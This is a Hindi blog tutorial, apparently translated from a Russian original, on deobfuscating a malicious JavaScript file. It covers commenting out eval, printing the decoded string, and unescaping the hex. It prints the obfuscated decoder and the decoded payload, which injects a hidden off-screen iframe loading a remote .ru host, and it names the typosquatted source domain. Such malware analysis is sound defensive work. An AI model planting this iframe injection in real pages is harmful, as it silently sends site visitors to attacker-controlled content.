दुर्भावनापूर्ण जावास्क्रिप्ट का डिक्रिप्शन

हैलो, एक हबल के प्रिय उपयोगकर्ता। जब मैंने इस लेख को प्रकाशित किया, उसके बाद उपयोगकर्ताओं को दिलचस्पी हुई, और उन्होंने मुझे लैन में और टिप्पणियों में पूछना शुरू कर दिया, कि कैसे इन लिपियों को डिक्रिप्ट किया जाता है और वास्तव में ये कोड क्या करते हैं।

प्रविष्टि

तो फिर भी, ये स्क्रिप्ट क्या करते हैं? सबसे अधिक बार, दुर्भावनापूर्ण JScript फ़ाइलों को "हैकर्स" द्वारा स्थापित किया जाता है, ताकि कोई लाभ प्राप्त हो सके:
अपने बोटनेट को फिर से भरना , वाइनलॉक स्थापित करना , उपयोगकर्ताओं को नकली साइटों पर पुनर्निर्देशित करने के लिए मेजबानों को ठीक करना और निश्चित रूप से ट्रैफ़िक का आदान-प्रदान करना।

इसलिए, मैं दुर्भावनापूर्ण जावास्क्रिप्ट को डिकोड करने के तरीके के बारे में विस्तार से बताने की कोशिश करूंगा और इसके बाद उस पते की गणना करूंगा जहां यह जाता है।

ट्रेनिंग

सॉफ्टवेयर

मैं संपादक NetBeans IDE 7.0 का उपयोग करूंगा। सबसे पहले, मैं हमेशा इसमें काम करता हूं, और दूसरी बात, इसमें कोड को प्रारूपित करना बहुत सुविधाजनक है। लेकिन आप अपने लिए सबसे सुविधाजनक संपादक का उपयोग कर सकते हैं।

हम दुर्भावनापूर्ण कोड ढूंढ रहे हैं

मैं पिछले लेख से दुर्भावनापूर्ण स्क्रिप्ट ले जाऊंगा, इसलिए एंटीवायरस के बिना वहां जाना बेहतर नहीं है। यहाँ उसका पता है: goog1e-analitics.com/openapi.js । आपके द्वारा एक बार फिर से संक्रमित होने से डरने के लिए नहीं, और अनावश्यक कार्यों को करने के लिए नहीं, मैंने कॉपी किया और pastebin.com/BJ751scy को स्वरूपित किया
जो इसे प्रारूपित करना चाहता है वह खुद नेटबीन्स => स्रोत कोड => प्रारूप पर जाएं

पहला कदम

कोड को फॉर्मेट करने के बाद, और हमने टैग के बीच HTML डॉक्यूमेंट में डाला, हमें निम्न जैसा कुछ मिला (स्क्रीनशॉट में सभी कोड नहीं)

संक्षेप में किए गए कार्यों के बारे में

जैसा कि हम देख सकते हैं, हम अब स्क्रिप्ट नहीं पढ़ते हैं। इसे डिकोड करने के लिए, हमें कुछ क्रियाएं करने की आवश्यकता है। अब संक्षेप में: eval पर टिप्पणी करें (एक फ़ंक्शन जो सभी कोड को निष्पादित करता है), फिर एक चर x बनाएं कोड के उस भाग के साथ जिसे eval में निष्पादित किया गया है। डॉक्यूमेंट के साथ वैरिएबल x को लिखें। राइट (x) फ़ंक्शन ; । अंतिम क्रिया हेक्साडेसिमल सिस्टम को हटाने के लिए है जो कि यूनेस्केप () फ़ंक्शन का उपयोग करता है।
सिद्धांत रूप में, सब कुछ आसान है, लेकिन व्यवहार में भी आसान है!

हम मुख्य चीज से गुजरते हैं - अभ्यास

जैसा कि मैंने ऊपर लिखा था, हम इस फ़ंक्शन के साथ काम करेंगे (यह मेरे लिए फ़ाइल की 24 वीं पंक्ति पर शुरू होता है, यह आपके लिए अलग हो सकता है):

$sA = function (_) { for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP) { $j += '\x25' + $P[$g++] + $P[$g--]; } $E['eva\x6C']($E[$d.$fJ]($j)); }, 

और तो चलिए शुरू करते हैं। हमारे पास $E['eva\x6C']($E[$d.$fJ]($j)); जिस पर हमें कमेंट करना चाहिए। यह दो // $E['eva\x6C']($E[$d.$fJ]($j)); साथ किया जाता है // $E['eva\x6C']($E[$d.$fJ]($j));
अगला, हम एक चर को परिभाषित करते हैं और इसे कॉल करते हैं, और हमें निम्नलिखित मिलते हैं:

 $sA = function (_) { for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP) { $j += '\x25' + $P[$g++] + $P[$g--]; } // $E['eva\x6C']($E[$d.$fJ]($j)); var x = $E[$d.$fJ]($j); document.write(x); }, 

अब हमें कुछ भी खतरा नहीं है, हम फ़ाइल को ब्राउज़र में निष्पादित कर सकते हैं:



परिणामी कोड की प्रतिलिपि बनाएँ और इसे प्रारूपित करें:

 var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'), _n='s\x65\x74\x41\x74\x74\x72ibute'; _q[_n]('\x73rc','http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt'); _q.style.position='abs\x6F\x6C\x75\x74e'; _q.style.width='16px';_q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199')+1); _q.style.left = '-5597px';d\u006F\u0063ument.w\u0072ite(''); \u0064\u006Fcument.getElementById('__dr11938').appendChild(_q); 

समापन

अब हमारे पास हेक्साडेसिमल सिस्टम को हटाने के लिए पर्याप्त समय है। यह इस तरह किया जाता है:

सामग्री के साथ एक index2.html फ़ाइल बनाएँ

 <script></script> 

हम अपनी पहली फ़ाइल (index.html) से पहली पंक्ति लेते हैं

 var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'), 

Index2.html फ़ाइल में लाइन का हिस्सा डालें, इसे अलर्ट कहें, और आपको निम्न कोड मिलेगा:

 <script> alert("q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),"); </script> 

हम पूरा कर रहे हैं ...

हम परिणाम की प्रतिलिपि बनाते हैं, और इसे पहली पंक्ति में प्रतिस्थापित करते हैं, और इसलिए उन सभी लाइनों के साथ करते हैं जिसमें एक हेक्साडेसिमल प्रणाली होती है।

परिणाम

 var _q = document.createElement('iframe'), _n = 'setAttribute'; _q[_n]('src', 'http://vbnieewr.ru/in.cgi?default'); _q.style.position = 'absolute'; _q.style.width = '16px'; _q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1); _q.style.left = '-5597px'; document.write('<div id=\'__dr11938\'></div>'); document.getElementById('__dr11938').appendChild(_q); 

खैर, हमने एक दुर्भावनापूर्ण स्क्रिप्ट को डिकोड किया है, और अब हम समझ सकते हैं कि यह क्या कर रहा है। यह स्क्रिप्ट पता vbnieewr.ru/in.cgi?default पते पर आइफ्रेम बनाती है ।

निष्कर्ष

प्रिय उपयोगकर्ताओं, अपनी परियोजना की सुरक्षा की निगरानी करें, मजबूत पासवर्ड सेट करें, जितनी बार संभव हो बैकअप करें।

मैं आपके साथ उपयोगकर्ता Raz0r द्वारा लिखित एक लेख भी साझा करना चाहता हूं । यह मेरे विषय पर आधारित है, अर्थात् मैलवेयर के विश्लेषण और संयोजन के लिए 5 मुफ्त ऑनलाइन सेवाओं की संक्षिप्त समीक्षा।

आपका ध्यान देने के लिए धन्यवाद।